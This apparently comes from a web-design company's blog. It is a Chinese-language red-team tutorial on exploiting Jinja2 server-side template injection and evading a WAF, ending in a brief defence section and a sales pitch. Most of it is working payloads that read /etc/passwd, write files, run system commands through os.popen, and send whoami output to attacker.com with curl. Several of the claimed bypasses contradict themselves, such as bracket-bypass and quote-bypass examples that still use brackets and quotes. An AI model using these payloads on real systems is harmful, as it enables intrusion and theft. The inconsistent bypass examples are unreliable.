从攻击者视角复盘:一次真实的Jinja2 SSTI漏洞利用与WAF绕过实战记录
2026/6/10 16:18:45 网站建设 项目流程

红队视角下的Jinja2 SSTI漏洞攻防全解析

当渗透测试人员遇到一个使用Flask框架开发的Web应用时,Jinja2模板引擎可能成为突破系统防线的关键入口。本文将从一个真实的红队行动案例出发,详细剖析如何识别、利用和绕过WAF防护的JSTI(Jinja2 Server-Side Template Injection)漏洞。

1. 初识目标:发现可疑输入点

在一次常规的Web应用安全评估中,我们注意到目标网站的搜索功能会将用户输入直接显示在结果页面。这立即触发了我们的安全直觉——是否存在模板注入的可能?

初步探测步骤:

  • 输入{{7*7}}测试基础表达式
  • 尝试{{config}}查看应用配置
  • 使用{{''.__class__}}验证对象访问

提示:在真实环境中,建议使用Burp Suite的Scanner功能自动检测模板注入点,它能识别多种模板引擎的语法特征。

当简单的数学表达式返回了计算结果49,而{{config}}输出了完整的应用配置时,我们确认这里存在Jinja2 SSTI漏洞。但真正的挑战才刚刚开始——系统部署了WAF防护。

2. 突破防线:WAF绕过技巧实战

现代WAF通常会过滤常见的危险字符和关键字。在我们的案例中,系统过滤了方括号[]、点号.和单双引号,这几乎阻断了所有常规的利用方式。

2.1 属性访问的替代方案

当点号被过滤时,可以使用Jinja2内置的attr过滤器:

{{ request|attr("__class__") }} {{ request|attr("application")|attr("__globals__") }}

2.2 绕过中括号限制

对于列表索引访问,有以下几种替代方法:

使用pop()函数:

{{ ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40) }}

利用字典访问:

{{ ''["__class__"]["__mro__"][2]["__subclasses__"]()[40] }}

2.3 处理引号过滤

当引号被过滤时,可以通过字符编码或request对象传递参数:

十六进制编码:

{{ ""["\x5f\x5fclass\x5f\x5f"] }}

利用request参数:

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.f).read() }}&f=/etc/passwd

3. 深入利用:从信息泄露到命令执行

成功绕过WAF后,我们开始构建更复杂的攻击链。Jinja2 SSTI的真正威力在于它能够访问Python的所有内置功能和模块。

3.1 文件系统操作

通过定位file类或替代类实现文件读写:

# 文件读取 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} # 文件写入 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/test').write('test') }}

3.2 命令执行技术

找到包含os模块的类是执行系统命令的关键。我们可以使用脚本自动化这一过程:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }} {% endif %} {% endfor %}

3.3 高级利用技巧

无回显命令执行:

{% if ''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].system('curl http://attacker.com/?i=`whoami`') %}1{% endif %}

盲注技术:

{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0:1]=='r' %}1{% endif %}

4. 防御视角:蓝队应对策略

从防御者角度看,防范SSTI攻击需要多层防护:

  1. 输入验证:严格限制用户输入中允许的字符
  2. 沙盒环境:在安全沙盒中执行模板渲染
  3. WAF规则:针对常见payload特征设置防护规则
  4. 日志监控:记录所有模板渲染异常事件

关键防御代码示例:

from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() template = env.from_string(user_input)

在实际防御中,我们建议采用白名单而非黑名单机制,因为攻击者总能找到绕过特定过滤规则的方法。

5. 工具与资源

推荐工具集:

  • Burp Suite:用于自动化检测模板注入
  • Tplmap:专门检测和利用模板注入的工具
  • SSTI Scanner:针对不同模板引擎的扫描器

学习资源:

  • OWASP SSTI备忘单
  • Jinja2官方文档中的安全章节
  • 各大CTF平台上的SSTI挑战题目

在真实的渗透测试中,理解模板引擎的工作原理比记忆payload更重要。每个应用环境都可能存在独特的限制和绕过方式,需要测试人员具备灵活变通的能力。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询